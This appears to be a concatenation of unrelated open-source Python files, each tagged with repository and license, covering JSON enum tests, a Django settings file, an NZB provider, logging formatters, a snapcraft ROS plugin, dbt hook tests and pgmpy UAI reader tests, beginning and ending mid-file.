while 1:
body_split = body.split("\n", cur_line)
first_line = body_split[cur_line - 1].strip()
cur_line += 1
if first_line and not first_line.startswith(csv_comment_char):
break
sep = kwargs.get("sep", ",")
options = {"sep": sep, "header": 0}
header = [col.strip() for col in first_line.split(sep)]
body = "\n".join([sep.join(header), body_split[1]])
if first_line.startswith("level_"):
options.update({"index_col": [0, 1]})
ncols = len(header)
else:
options = {"sep": ":", "header": None, "index_col": 0}
ncols = 2
options.update(**kwargs)
converters = dict((col, strip_converter) for col in range(ncols))
return Table(
pandas.read_csv(
StringIO(body),
comment=csv_comment_char,
skipinitialspace=True,
squeeze=True,
converters=converters,
encoding="utf8",
**options
).dropna(how="all")
)
| materialsproject/MPContribs | mpcontribs-io/mpcontribs/io/core/utils.py | Python | mit | 5,005 |
from enum import Enum, IntEnum
from math import isnan
from test.test_json import PyTest, CTest
SMALL = 1
BIG = 1<<32
HUGE = 1<<64
REALLY_HUGE = 1<<96
class BigNum(IntEnum):
small = SMALL
big = BIG
huge = HUGE
really_huge = REALLY_HUGE
E = 2.718281
PI = 3.141593
TAU = 2 * PI
class FloatNum(float, Enum):
e = E
pi = PI
tau = TAU
INF = float('inf')
NEG_INF = float('-inf')
NAN = float('nan')
class WierdNum(float, Enum):
inf = INF
neg_inf = NEG_INF
nan = NAN
class TestEnum:
def test_floats(self):
for enum in FloatNum:
self.assertEqual(self.dumps(enum), repr(enum.value))
self.assertEqual(float(self.dumps(enum)), enum)
self.assertEqual(self.loads(self.dumps(enum)), enum)
def test_weird_floats(self):
for enum, expected in zip(WierdNum, ('Infinity', '-Infinity', 'NaN')):
self.assertEqual(self.dumps(enum), expected)
if not isnan(enum):
self.assertEqual(float(self.dumps(enum)), enum)
self.assertEqual(self.loads(self.dumps(enum)), enum)
else:
self.assertTrue(isnan(float(self.dumps(enum))))
self.assertTrue(isnan(self.loads(self.dumps(enum))))
def test_ints(self):
for enum in BigNum:
self.assertEqual(self.dumps(enum), str(enum.value))
self.assertEqual(int(self.dumps(enum)), enum)
self.assertEqual(self.loads(self.dumps(enum)), enum)
def test_list(self):
self.assertEqual(self.dumps(list(BigNum)),
str([SMALL, BIG, HUGE, REALLY_HUGE]))
self.assertEqual(self.loads(self.dumps(list(BigNum))),
list(BigNum))
self.assertEqual(self.dumps(list(FloatNum)),
str([E, PI, TAU]))
self.assertEqual(self.loads(self.dumps(list(FloatNum))),
list(FloatNum))
self.assertEqual(self.dumps(list(WierdNum)),
'[Infinity, -Infinity, NaN]')
self.assertEqual(self.loads(self.dumps(list(WierdNum)))[:2],
list(WierdNum)[:2])
self.assertTrue(isnan(self.loads(self.dumps(list(WierdNum)))[2]))
def test_dict_keys(self):
s, b, h, r = BigNum
e, p, t = FloatNum
i, j, n = WierdNum
d = {
s:'tiny', b:'large', h:'larger', r:'largest',
e:"Euler's number", p:'pi', t:'tau',
i:'Infinity', j:'-Infinity', n:'NaN',
}
nd = self.loads(self.dumps(d))
self.assertEqual(nd[str(SMALL)], 'tiny')
self.assertEqual(nd[str(BIG)], 'large')
self.assertEqual(nd[str(HUGE)], 'larger')
self.assertEqual(nd[str(REALLY_HUGE)], 'largest')
self.assertEqual(nd[repr(E)], "Euler's number")
self.assertEqual(nd[repr(PI)], 'pi')
self.assertEqual(nd[repr(TAU)], 'tau')
self.assertEqual(nd['Infinity'], 'Infinity')
self.assertEqual(nd['-Infinity'], '-Infinity')
self.assertEqual(nd['NaN'], 'NaN')
def test_dict_values(self):
d = dict(
tiny=BigNum.small,
large=BigNum.big,
larger=BigNum.huge,
largest=BigNum.really_huge,
e=FloatNum.e,
pi=FloatNum.pi,
tau=FloatNum.tau,
i=WierdNum.inf,
j=WierdNum.neg_inf,
n=WierdNum.nan,
)
nd = self.loads(self.dumps(d))
self.assertEqual(nd['tiny'], SMALL)
self.assertEqual(nd['large'], BIG)
self.assertEqual(nd['larger'], HUGE)
self.assertEqual(nd['largest'], REALLY_HUGE)
self.assertEqual(nd['e'], E)
self.assertEqual(nd['pi'], PI)
self.assertEqual(nd['tau'], TAU)
self.assertEqual(nd['i'], INF)
self.assertEqual(nd['j'], NEG_INF)
self.assertTrue(isnan(nd['n']))
class TestPyEnum(TestEnum, PyTest): pass
class TestCEnum(TestEnum, CTest): pass
| Microvellum/Fluid-Designer | win64-vc/2.78/python/lib/test/test_json/test_enum.py | Python | gpl-3.0 | 4,034 |
# vim: set fileencoding=utf-8 sw=4 ts=4 et :
# pylint: disable-msg=C0111,W0212,R0904
# Copyright (C) 2011-2020 CS GROUP - France
# License: GNU GPL v2 <http://www.gnu.org/licenses/gpl-2.0.html>
from __future__ import absolute_import
from .test_xsdutil import XSDTest
class HosttemplateXSD(XSDTest):
"""
Test du fichier hosttemplate.xsd.
The hosttemplate.xsd file is used to validate host templates xml files
"""
xsd_file = "hosttemplate.xsd"
xml_ok_files = {
"hosttemplates/ok": [
"interleaved_tags.xml",
"passive_tags.xml",
],
"../../../conf.d/hosttemplates": ["*.xml"],
}
xml_ko_files = {"hosttemplates/ko":[
"linux.xml", ]}
| vigilo/vigiconf | src/vigilo/vigiconf/test/test_xsd_hosttemplate.py | Python | gpl-2.0 | 732 |
# Author: Nic Wolfe <[email protected]>
# URL: http://code.google.com/p/sickbeard/
#
# This file is part of Sick Beard.
#
# Sick Beard is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Sick Beard is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Sick Beard. If not, see <http://www.gnu.org/licenses/>.
import urllib
import urllib2
import os.path
import sys
import sqlite3
import time
import datetime
from lib.tvnamer.utils import FileParser
from lib.tvnamer import tvnamer_exceptions
import xml.etree.cElementTree as etree
import sickbeard
import sickbeard.classes
from sickbeard import helpers
from sickbeard import db
from sickbeard import tvcache
from sickbeard import exceptions
from sickbeard.common import *
from sickbeard import logger
providerType = "nzb"
providerName = "TVNZB"
def isActive():
return sickbeard.TVNZB and sickbeard.USE_NZB
def getTVNZBURL (url):
result = None
try:
f = urllib2.urlopen(url)
result = "".join(f.readlines())
except (urllib.ContentTooShortError, IOError), e:
logger.log("Error loading TVNZB URL: " + str(sys.exc_info()) + " - " + str(e), logger.ERROR)
return None
return result
def downloadNZB (nzb):
logger.log("Downloading an NZB from NZBs.org at " + nzb.url)
data = getTVNZBURL(nzb.url)
if data == None:
return False
fileName = os.path.join(sickbeard.NZB_DIR, nzb.extraInfo[0] + ".nzb")
logger.log("Saving to " + fileName, logger.DEBUG)
fileOut = open(fileName, "w")
fileOut.write(data)
fileOut.close()
return True
def findEpisode (episode, forceQuality=None):
if episode.status == DISCBACKLOG:
logger.log("TVNZB doesn't support disc backlog. Use Newzbin or download it manually from TVNZB")
return []
logger.log("Searching TVNZB for " + episode.prettyName(True))
if forceQuality != None:
epQuality = forceQuality
elif episode.show.quality == BEST:
epQuality = ANY
else:
epQuality = episode.show.quality
myCache = TVNZBCache()
myCache.updateCache()
cacheResults = myCache.searchCache(episode.show, episode.season, episode.episode, epQuality)
logger.log("Cache results: "+str(cacheResults), logger.DEBUG)
nzbResults = []
for curResult in cacheResults:
title = curResult["name"]
url = curResult["url"]
logger.log("Found result " + title + " at " + url)
result = sickbeard.classes.NZBSearchResult(episode)
result.provider = 'tvnzb'
result.url = url
result.extraInfo = [title]
result.quality = epQuality
nzbResults.append(result)
return nzbResults
class TVNZBDBConnection(db.DBConnection):
def __init__(self):
db.DBConnection.__init__(self, "cache.db")
def _checkDB(self):
# Create the table if it's not already there
try:
sql = "CREATE TABLE tvnzb (name TEXT, season NUMERIC, episode NUMERIC, tvdbid NUMERIC, url TEXT, time NUMERIC, quality TEXT);"
self.connection.execute(sql)
self.connection.commit()
except sqlite3.OperationalError, e:
if str(e) != "table tvnzb already exists":
raise
class TVNZBCache(tvcache.TVCache):
def __init__(self):
# only poll TVNZB every 10 minutes
self.minTime = 10
tvcache.TVCache.__init__(self, "tvnzb")
def _getDB(self):
return TVNZBDBConnection()
def _addCacheEntry(self, name, season, episode, url):
myDB = self._getDB()
tvdbid = 0
# for each show in our list
for curShow in sickbeard.showList:
# get the scene name masks
sceneNames = helpers.makeSceneShowSearchStrings(curShow)
# for each scene name mask
for curSceneName in sceneNames:
# if it matches
if name.lower().startswith(curSceneName.lower()):
logger.log("Successful match! Result "+name+" matched to show "+curShow.name, logger.DEBUG)
# set the tvdbid in the db to the show's tvdbid
tvdbid = curShow.tvdbid
# since we found it, break out
break
# if we found something in the inner for loop break out of this one
if tvdbid != 0:
break
# get the current timestamp
curTimestamp = int(time.mktime(datetime.datetime.today().timetuple()))
if any(x in name.lower() for x in ("720p", "1080p", "x264")):
quality = HD
elif any(x in name.lower() for x in ("xvid", "divx")):
quality = SD
else:
logger.log("Unable to figure out the quality of "+name+", assuming SD", logger.DEBUG)
quality = SD
myDB.action("INSERT INTO tvnzb (name, season, episode, tvdbid, url, time, quality) VALUES (?,?,?,?,?,?,?)",
[name, season, episode, tvdbid, url, curTimestamp, quality])
def updateCache(self):
myDB = self._getDB()
# get the timestamp of the last update
sqlResults = myDB.select("SELECT * FROM "+self.providerName+" ORDER BY time DESC LIMIT 1")
if len(sqlResults) == 0:
lastTimestamp = 0
else:
lastTimestamp = int(sqlResults[0]["time"])
# if we've updated recently then skip the update
if datetime.datetime.today() - datetime.datetime.fromtimestamp(lastTimestamp) < datetime.timedelta(minutes=self.minTime):
logger.log("Last update was too soon, using old cache", logger.DEBUG)
return
# get all records since the last timestamp
url = "http://www.tvnzb.com/tvnzb_new.rss"
logger.log("TVNZB cache update URL: "+ url, logger.DEBUG)
data = getTVNZBURL(url)
# now that we've loaded the current RSS feed lets delete the old cache
logger.log("Clearing cache and updating with new information")
self._clearCache()
try:
responseSoup = etree.ElementTree(element = etree.XML(data))
except (SyntaxError), e:
logger.log("Invalid XML returned by TVNZB: " + str(sys.exc_info()) + " - " + str(e), logger.ERROR)
return
items = responseSoup.getiterator('item')
for item in items:
if item.findtext('title') == None or item.findtext('link') == None:
logger.log("The XML returned from the TVNZB RSS feed is incomplete, this result is unusable: "+str(item), logger.ERROR)
continue
title = item.findtext('title')
url = item.findtext('link')
logger.log("Adding item from RSS to cache: "+title, logger.DEBUG)
season = int(item.findtext('season'))
episode = int(item.findtext('episode'))
self._addCacheEntry(title, season, episode, url)
| mattsch/Sickbeard | sickbeard/providers/tvnzb.py | Python | gpl-3.0 | 6,837 |
"""
Django settings for sys_monitor project.
Generated by 'django-admin startproject' using Django 1.10.5.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'mc1cs0=y#6-krq_mdah+a4=_t9v3yvca%grll+%!sdm%gh%3fw'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
# Application definition
INSTALLED_APPS = [
'monitor',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'sys_monitor.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'sys_monitor.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.10/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/1.10/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.10/howto/static-files/
STATIC_URL = '/static/'
| PeterXUYAOHAI/System_Monitor | sys_monitor/settings.py | Python | mit | 3,109 |
# f90wrap: F90 to Python interface generator with derived type support
#
# Copyright James Kermode 2011-2018
#
# This file is part of f90wrap
# For the latest version see github.com/jameskermode/f90wrap
#
# f90wrap is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# f90wrap is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with f90wrap. If not, see <http://www.gnu.org/licenses/>.
#
# If you would like to license the source code under different terms,
# please contact James Kermode, [email protected]
from __future__ import print_function
#=======================================================================
# simple test for f90wrap
#=======================================================================
import numpy as np
#=======================================================================
#the first import is a subroutine, the second is a module)
#=======================================================================
#from mockdt import *
import mockdtpkg as md
#=======================================================================
# call a "top-level" subroutine. This refers to subroutines that are
# present outside of modules, and do not operate on derived types AFAIK
#=======================================================================
#This particular routine sets some numeric constants
md.assign_constants()
print(type(md.precision))
print(md.precision.get_zero())
#=======================================================================
#Check if the subroutine worked : it modifies the "precision" module
# variables (assigns constants like 1,2,3, pi etc)
#=======================================================================
assert(md.precision.get_zero() == 0.0)
assert(md.precision.get_one() == 1.0)
assert(md.precision.get_two() == 2.0)
assert(md.precision.get_three() == 3.0)
assert(md.precision.get_four() == 4.0)
assert(md.precision.get_half() == 0.5)
#"acid" test for trailing digits, double precision: nonterminating, nonrepeating
assert(md.precision.get_pi() == np.pi)
print('1,2,3,4 as done by subroutine are ')
print(md.precision.get_one(),md.precision.get_two(), md.precision.get_three(),\
md.precision.get_four())
#=======================================================================
#Create "Solveroptions" derived type, defined in mod defineallproperties
#=======================================================================
Options = md.defineallproperties.SolverOptionsDef()
print(type(Options.airframevib))
Options.airframevib = 0
Options.fet_qddot = 1
#=======================================================================
# Set default values for this derived type
#=======================================================================
md.set_defaults(Options)
assert(Options.airframevib == 1)
assert(Options.fet_qddot == 0)
assert(Options.fusharm == 0)
assert(Options.fet_response == 0)
assert(Options.store_fet_responsejac == 0)
print('all tests passed, OK!')
| jameskermode/f90wrap | examples/example2/test_package.py | Python | lgpl-3.0 | 3,544 |
from luigi import Parameter
from luigi.contrib.s3 import S3Target
from ob_pipelines import LoggingTaskWrapper
from ob_pipelines.apps.kallisto import merge_column
from ob_pipelines.config import settings
from ob_pipelines.entities.persistence import get_samples_by_experiment_id
from ob_pipelines.s3 import csv_to_s3
from ob_pipelines.tasks.ercc_quant import ERCCQuant
class MergeERCC(LoggingTaskWrapper):
expt_id = Parameter()
def requires(self):
return {
sample_id: ERCCQuant(sample_id=sample_id)
for sample_id in get_samples_by_experiment_id(self.expt_id)
}
def output(self):
prefix = '{}/{}/'.format(settings.get_target_bucket(), self.expt_id)
return {
'est_counts': S3Target(prefix + 'ercc.unstranded.est_counts.csv'),
'tpm': S3Target(prefix + 'ercc.unstranded.tpm.csv')
}
def run(self):
# Gather input filepaths and labels
tgt_dict = self.input()
sample_ids = list(tgt_dict.keys())
fpaths = [tgt_dict[sample_id]['abundance'].path for sample_id in sample_ids]
# Merge columns
annotations, est_counts = merge_column(fpaths, sample_ids, data_col='est_counts', annot=False)
annotations, tpm = merge_column(fpaths, sample_ids, data_col='tpm', annot=False)
csv_to_s3(est_counts, self.output()['est_counts'].path)
csv_to_s3(tpm, self.output()['tpm'].path)
| outlierbio/ob-pipelines | ob_pipelines/tasks/merge_ercc.py | Python | apache-2.0 | 1,438 |
from enum import Enum
class Message:
def __init__(self, source, string, to_self, body):
self.source = source
self.string = string
self.to_self = to_self
self.body = body
| SuddenDevs/SuddenDev | suddendev/game/message.py | Python | mit | 207 |
from functools import wraps
def lazyproperty(fn):
@property
@wraps(fn)
def _lazyproperty(self):
attr = "_" + fn.__name__
if not hasattr(self, attr):
setattr(self, attr, fn(self))
return getattr(self, attr)
return _lazyproperty
| msanders/cider | cider/_lib.py | Python | mit | 281 |
import sys
import logging
from textwrap import indent
from .config import config
__all__ = ['PrologFormatter', 'ColorFormatter', 'Colorize']
class PrologFormatter(logging.Formatter):
DEFAULT_FMT = config.LONG_FMT
DEFAULT_DATEFMT = config.DATE_FMT
DEFAULT_STYLE = config.STYLE_FMT
def __init__(self, fmt=None, datefmt=None, style=None):
super().__init__(
fmt=fmt or self.DEFAULT_FMT,
datefmt=datefmt or self.DEFAULT_DATEFMT,
style=style or self.DEFAULT_STYLE
)
@staticmethod
def to_str(value):
'''
Convert value a string. If value is already a str or None, returne it
unchanged. If value is a byte, decode it as utf8. Otherwise, fall back
to the value's repr.
'''
if value is None:
return ''
if isinstance(value, str):
return value
elif isinstance(value, bytes):
return value.decode()
return repr(value)
def formatException(self, ei):
return indent(super().formatException(ei), '... ')
def formatMessage(self, record):
try:
record.msg = self.to_str(record.msg)
record.message = record.getMessage()
except Exception as e:
record.message = "Bad message (%r): %r" % (e, record.__dict__)
return super().formatMessage(record)
#return formatted.replace("\n", "\n ")
class Colorize:
fg = {
'gray': '0;30', 'black': '1;30', 'darkgray': '0;30',
'red': '0;31', 'lightred': '1;31', 'darkred': '0;31',
'green': '0;32', 'lightgreen': '1;32', 'darkgreen': '0;32',
'brown': '0;33', 'lightbrown': '1;33', 'darkbrown': '0;33',
'blue': '0;34', 'lightblue': '1;34', 'darkblue': '0;34',
'magenta': '0;35', 'lightmagenta': '1;35', 'darkmagenta': '0;35',
'purple': '0;35', 'lightpurple': '1;35', 'darkpurple': '0;35',
'cyan': '0;36', 'lightcyan': '1;36', 'darkcyan': '0;36',
'lightgray': '0;37', 'white': '1;37', 'yellow': '1;33',
}
bg = {
'black': '40', 'red': '41', 'green': '42',
'brown': '43', 'blue': '44', 'magenta': '45',
'cyan': '46', 'purple': '45', 'gray': '47',
}
reset = '\x1b[0m'
@classmethod
def style(cls, fg='', bg=''):
code_list = []
if fg:
code_list.append(cls.fg[fg])
if bg:
code_list.append(cls.bg[bg])
return '\x1b[{}m'.format(';'.join(code_list)) if code_list else ''
@staticmethod
def supported(stream=sys.stderr):
return hasattr(stream, 'isatty') and stream.isatty()
class ColorFormatter(PrologFormatter):
DEFAULT_FMT = config.COLOR_LONG_FMT
DEFAULT_COLORS = config.LEVEL_COLORS
def __init__(self, fmt=None, datefmt=None, style=None, colors=None):
super().__init__(fmt, datefmt, style)
if Colorize.supported():
self.colors = self.normalize_colors(colors or self.DEFAULT_COLORS)
else:
self.colors = {}
@staticmethod
def normalize_colors(colors):
if isinstance(colors, str):
colors = dict(
bits.split(':') for bits in colors.split(';') if bits
)
colors = {key: val.split(',') for key, val in colors.items()}
default = colors.pop('*', False)
if default:
for level in logging._nameToLevel:
if level not in colors:
colors[level] = default
return colors
def set_colors(self, record):
if record.levelname in self.colors:
record.color = Colorize.style(*self.colors[record.levelname])
record.endcolor = Colorize.reset
else:
record.color = record.endcolor = ''
def formatMessage(self, record):
self.set_colors(record)
return super().formatMessage(record)
registered_formatters = {
'long': PrologFormatter(),
'short': PrologFormatter(fmt=config.SHORT_FMT, datefmt=None),
'color': ColorFormatter(),
}
registered_formatters['default'] = registered_formatters['long']
def get_formatter(arg=None):
if arg is None:
return registered_formatters['default']
elif isinstance(arg, logging.Formatter):
return arg
elif isinstance(arg, str):
try:
return registered_formatters[arg]
except KeyError as e:
msg = '"{}" unrecognized formatter shortcut'.format(arg)
raise KeyError(msg) from e
elif isinstance(arg, dict):
return PrologFormatter(**arg)
else:
return PrologFormatter(*arg)
| dakrauth/prolog | prolog/formatters.py | Python | mit | 4,768 |
# -*- Mode:Python; indent-tabs-mode:nil; tab-width:4 -*-
#
# Copyright (C) 2020 Canonical Ltd
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 3 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
"""The catkin tools plugin for ROS 1 parts.
- catkin-tools-packages:
(list of strings)
List of catkin packages to build. If not specified, all packages in the
workspace will be built. If set to an empty list ([]), no packages will
be built, which could be useful if you only want ROS debs in the snap.
- catkin-tools-cmake-args:
(list of strings)
Arguments to pass to cmake projects.
This plugin requires certain variables that are specified by the `ros1-noetic`
extension. If you're not using the extension, set these in your `build-environment`:
- ROS_DISTRO: "noetic"
"""
from typing import Any, Dict, List, Set
from snapcraft.plugins.v2 import _ros
class CatkinToolsPlugin(_ros.RosPlugin):
@classmethod
def get_schema(cls) -> Dict[str, Any]:
return {
"$schema": "http://json-schema.org/draft-04/schema#",
"type": "object",
"additionalProperties": False,
"properties": {
"catkin-tools-cmake-args": {
"type": "array",
"minItems": 0,
"items": {"type": "string"},
"default": [],
},
"catkin-tools-packages": {
"type": "array",
"minItems": 0,
"uniqueItems": True,
"items": {"type": "string"},
},
},
}
def get_build_packages(self) -> Set[str]:
return super().get_build_packages() | {
"python3-catkin-tools",
# FIXME: Only needed because of a botched release:
# https://github.com/catkin/catkin_tools/issues/594#issuecomment-688149976
# Once fixed, remove this.
"python3-osrf-pycommon",
}
def _get_build_commands(self) -> List[str]:
# It's possible that this workspace wasn't initialized to be used with
# catkin-tools, so initialize it first. Note that this is a noop if it
# was already initialized
commands = ["catkin init"]
# Overwrite the default catkin profile to ensure builds
# aren't affected by profile changes
commands.append("catkin profile add -f default")
# Use catkin config to set configurations for the snap build
catkin_config_command = [
"catkin",
"config",
"--profile",
"default",
"--install",
"--source-space",
"$SNAPCRAFT_PART_SRC",
"--build-space",
"$SNAPCRAFT_PART_BUILD",
"--install-space",
"$SNAPCRAFT_PART_INSTALL/opt/ros/$ROS_DISTRO",
]
if self.options.catkin_tools_cmake_args:
catkin_config_command.extend(
["--cmake-args", *self.options.catkin_tools_cmake_args]
)
commands.append(" ".join(catkin_config_command))
# Now actually build the package
catkin_command = [
"catkin",
"build",
"--no-notify",
"--profile",
"default",
"-j",
"$SNAPCRAFT_PARALLEL_BUILD_COUNT",
]
if self.options.catkin_tools_packages:
catkin_command.extend(self.options.catkin_tools_packages)
commands.append(" ".join(catkin_command))
return commands
def _get_workspace_activation_commands(self) -> List[str]:
return [
'state="$(set +o)"',
"set +u",
"_CATKIN_SETUP_DIR=/opt/ros/$ROS_DISTRO . /opt/ros/$ROS_DISTRO/setup.sh",
'eval "$(state)"',
]
| chipaca/snapcraft | snapcraft/plugins/v2/catkin_tools.py | Python | gpl-3.0 | 4,356 |
from sqlalchemy import Column, Integer, ForeignKey, Text, text
from sqlalchemy.types import TIMESTAMP
import datetime
from . import Base
from .user import User
from .task import Task
class Feedback(Base):
__tablename__ = 'feedbacks'
__table_args__ = {
'mysql_engine': 'InnoDB',
'mysql_charset': 'utf8mb4'
}
user = Column(
Integer,
ForeignKey(User.id, ondelete='CASCADE', onupdate='NO ACTION'),
primary_key=True,
nullable=False,
)
task = Column(
Integer,
ForeignKey(Task.id, ondelete='CASCADE', onupdate='NO ACTION'),
primary_key=True,
nullable=False,
)
content = Column(Text, nullable=False)
lastUpdated = Column(TIMESTAMP, default=datetime.datetime.utcnow,
server_default=text('CURRENT_TIMESTAMP'))
| fi-ksi/web-backend | model/feedback.py | Python | mit | 845 |
from test.integration.base import DBTIntegrationTest, use_profile
class TestBigqueryPrePostRunHooks(DBTIntegrationTest):
def setUp(self):
DBTIntegrationTest.setUp(self)
self.use_profile('bigquery')
self.use_default_project()
self.run_sql_file("seed_run_bigquery.sql")
self.fields = [
'state',
'target_name',
'target_schema',
'target_threads',
'target_type',
'run_started_at',
'invocation_id'
]
@property
def schema(self):
return "run_hooks_014"
@property
def profile_config(self):
profile = self.bigquery_profile()
profile['test']['outputs']['default2']['threads'] = 3
return profile
@property
def project_config(self):
return {
'config-version': 2,
'macro-paths': ['macros'],
'data-paths': ['data'],
# The create and drop table statements here validate that these hooks run
# in the same order that they are defined. Drop before create is an error.
# Also check that the table does not exist below.
"on-run-start": [
"{{ custom_run_hook_bq('start', target, run_started_at, invocation_id) }}",
"create table {{ target.schema }}.start_hook_order_test ( id INT64 )",
"drop table {{ target.schema }}.start_hook_order_test",
],
"on-run-end": [
"{{ custom_run_hook_bq('end', target, run_started_at, invocation_id) }}",
"create table {{ target.schema }}.end_hook_order_test ( id INT64 )",
"drop table {{ target.schema }}.end_hook_order_test",
],
'seeds': {
'quote_columns': False,
},
}
@property
def models(self):
return "models"
def get_ctx_vars(self, state):
field_list = ", ".join(self.fields)
query = "select {field_list} from `{schema}.on_run_hook` where state = '{state}'".format(field_list=field_list, schema=self.unique_schema(), state=state)
vals = self.run_sql(query, fetch='all')
self.assertFalse(len(vals) == 0, 'nothing inserted into on_run_hook table')
self.assertFalse(len(vals) > 1, 'too many rows in hooks table')
ctx = dict(zip(self.fields, vals[0]))
return ctx
def check_hooks(self, state):
ctx = self.get_ctx_vars(state)
self.assertEqual(ctx['state'], state)
self.assertEqual(ctx['target_name'], 'default2')
self.assertEqual(ctx['target_schema'], self.unique_schema())
self.assertEqual(ctx['target_threads'], 3)
self.assertEqual(ctx['target_type'], 'bigquery')
self.assertTrue(ctx['run_started_at'] is not None and len(ctx['run_started_at']) > 0, 'run_started_at was not set')
self.assertTrue(ctx['invocation_id'] is not None and len(ctx['invocation_id']) > 0, 'invocation_id was not set')
@use_profile('bigquery')
def test_bigquery_pre_and_post_run_hooks(self):
self.run_dbt(['run'])
self.check_hooks('start')
self.check_hooks('end')
self.assertTableDoesNotExist("start_hook_order_test")
self.assertTableDoesNotExist("end_hook_order_test")
@use_profile('bigquery')
def test_bigquery_pre_and_post_seed_hooks(self):
self.run_dbt(['seed'])
self.check_hooks('start')
self.check_hooks('end')
self.assertTableDoesNotExist("start_hook_order_test")
self.assertTableDoesNotExist("end_hook_order_test")
| fishtown-analytics/dbt | test/integration/014_hook_tests/test_run_hooks_bq.py | Python | apache-2.0 | 3,633 |
import numpy as np
import networkx as nx
import unittest
from pgmpy.readwrite import UAIReader, UAIWriter
from pgmpy.models import BayesianModel, MarkovModel
from pgmpy.factors.discrete import TabularCPD, DiscreteFactor
from pgmpy.extern.six.moves import map
class TestUAIReader(unittest.TestCase):
def setUp(self):
string = """MARKOV
3
2 2 3
2
2 0 1
3 0 1 2
4
4.000 2.400
1.000 0.000
12
2.2500 3.2500 3.7500
0.0000 0.0000 10.0000
1.8750 4.0000 3.3330
2.0000 2.0000 3.4000"""
self.maxDiff = None
self.reader_string = UAIReader(string=string)
self.reader_file = UAIReader('pgmpy/tests/test_readwrite/testdata/grid4x4.uai')
def test_get_network_type(self):
network_type_expected = "MARKOV"
self.assertEqual(self.reader_string.network_type, network_type_expected)
def test_get_variables(self):
variables_expected = ['var_0', 'var_1', 'var_2']
self.assertListEqual(self.reader_string.variables, variables_expected)
def test_get_domain(self):
domain_expected = {'var_1': '2', 'var_2': '3', 'var_0': '2'}
self.assertDictEqual(self.reader_string.domain, domain_expected)
def test_get_edges(self):
edges_expected = {('var_0', 'var_1'), ('var_0', 'var_2'), ('var_1', 'var_2')}
self.assertSetEqual(self.reader_string.edges, edges_expected)
def test_get_tables(self):
tables_expected = [(['var_0', 'var_1'],
['4.000', '2.400', '1.000', '0.000']),
(['var_0', 'var_1', 'var_2'],
['2.2500', '3.2500', '3.7500', '0.0000', '0.0000', '10.0000',
'1.8750', '4.0000', '3.3330', '2.0000', '2.0000', '3.4000'])]
self.assertListEqual(self.reader_string.tables, tables_expected)
def test_get_model(self):
model = self.reader_string.get_model()
edge_expected = {
'var_2': {'var_0': {'weight': None},
'var_1': {'weight': None}},
'var_0': {'var_2': {'weight': None},
'var_1': {'weight': None}},
'var_1': {'var_2': {'weight': None},
'var_0': {'weight': None}}}
self.assertListEqual(sorted(model.nodes()), sorted(['var_0', 'var_2', 'var_1']))
if nx.__version__.startswith('1'):
self.assertDictEqual(dict(model.edge), edge_expected)
else:
self.assertDictEqual(dict(model.adj), edge_expected)
def test_read_file(self):
model = self.reader_file.get_model()
node_expected = {'var_3': {}, 'var_8': {}, 'var_5': {}, 'var_14': {},
'var_15': {}, 'var_0': {}, 'var_9': {}, 'var_7': {},
'var_6': {}, 'var_13': {}, 'var_10': {}, 'var_12': {},
'var_1': {}, 'var_11': {}, 'var_2': {}, 'var_4': {}}
